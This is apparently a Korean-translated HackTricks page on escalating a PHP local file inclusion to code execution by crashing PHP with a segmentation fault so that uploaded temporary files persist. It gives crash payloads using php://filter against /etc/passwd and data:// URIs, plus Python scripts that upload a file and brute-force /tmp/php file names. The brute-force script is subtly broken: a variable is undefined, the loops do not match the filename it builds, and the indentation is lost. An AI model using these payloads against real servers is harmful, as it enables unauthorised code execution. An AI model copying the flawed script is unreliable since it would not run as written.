LFI2RCE via Segmentation Fault

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๋‹ค์Œ์˜ ํŽ˜์ด๋กœ๋“œ๋Š” PHP์—์„œ ์„ธ๊ทธ๋ฉ˜ํ…Œ์ด์…˜ ์˜ค๋ฅ˜๋ฅผ ์œ ๋ฐœํ–ˆ์Šต๋‹ˆ๋‹ค: https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/ (๋‘ ๋ฒˆ์งธ ๋ถ€๋ถ„) ๋ฐ https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view

// PHP 7.0
include("php://filter/string.strip_tags/resource=/etc/passwd");

// PHP 7.2
include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA");

๋‹น์‹ ์€ ํŒŒ์ผ์„ ํฌํ•จํ•˜๋Š” POST ์š”์ฒญ์„ ์ „์†กํ•˜๋ฉด PHP๊ฐ€ ํ•ด๋‹น ํŒŒ์ผ์˜ ๋‚ด์šฉ์„ ๊ฐ€์ง„ **/tmp/php<something>**์— ์ž„์‹œ ํŒŒ์ผ์„ ์ƒ์„ฑํ•œ๋‹ค๋Š” ๊ฒƒ์„ ์•Œ์•„์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์ด ํŒŒ์ผ์€ ์š”์ฒญ์ด ์ฒ˜๋ฆฌ๋˜๋ฉด ์ž๋™์œผ๋กœ ์‚ญ์ œ๋ฉ๋‹ˆ๋‹ค.

LFI๋ฅผ ๋ฐœ๊ฒฌํ•˜๊ณ  PHP์—์„œ ์„ธ๊ทธ๋ฉ˜ํ…Œ์ด์…˜ ์˜ค๋ฅ˜๋ฅผ ์œ ๋ฐœํ•˜๋ฉด ์ž„์‹œ ํŒŒ์ผ์€ ์ ˆ๋Œ€ ์‚ญ์ œ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ LFI ์ทจ์•ฝ์ ์„ ์‚ฌ์šฉํ•˜์—ฌ ํŒŒ์ผ์„ ๊ฒ€์ƒ‰ํ•˜๊ณ  ์ด๋ฅผ ์ฐพ์•„ ์ž„์˜์˜ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ํ…Œ์ŠคํŠธ๋ฅผ ์œ„ํ•ด ๋„์ปค ์ด๋ฏธ์ง€๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: https://hub.docker.com/r/easyengine/php7.0

# upload file with segmentation fault
import requests
url = "http://localhost:8008/index.php?i=php://filter/string.strip_tags/resource=/etc/passwd"
files = {'file': open('la.php','rb')}
response = requests.post(url, files=files)


# Search for the file (improve this with threads)
import requests
import string
import threading

charset = string.ascii_letters + string.digits

host = "127.0.0.1"
port = 80
base_url = "http://%s:%d" % (host, port)


def bruteforce(charset):
for i in charset:
for j in charset:
for k in charset:
for l in charset:
for m in charset:
for n in charset:
filename = prefix + i + j + k
url = "%s/index.php?i=/tmp/php%s" % (base_url, filename)
print url
response = requests.get(url)
if 'spyd3r' in response.content:
print "[+] Include success!"
return True


def main():
bruteforce(charset)

if __name__ == "__main__":
main()

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ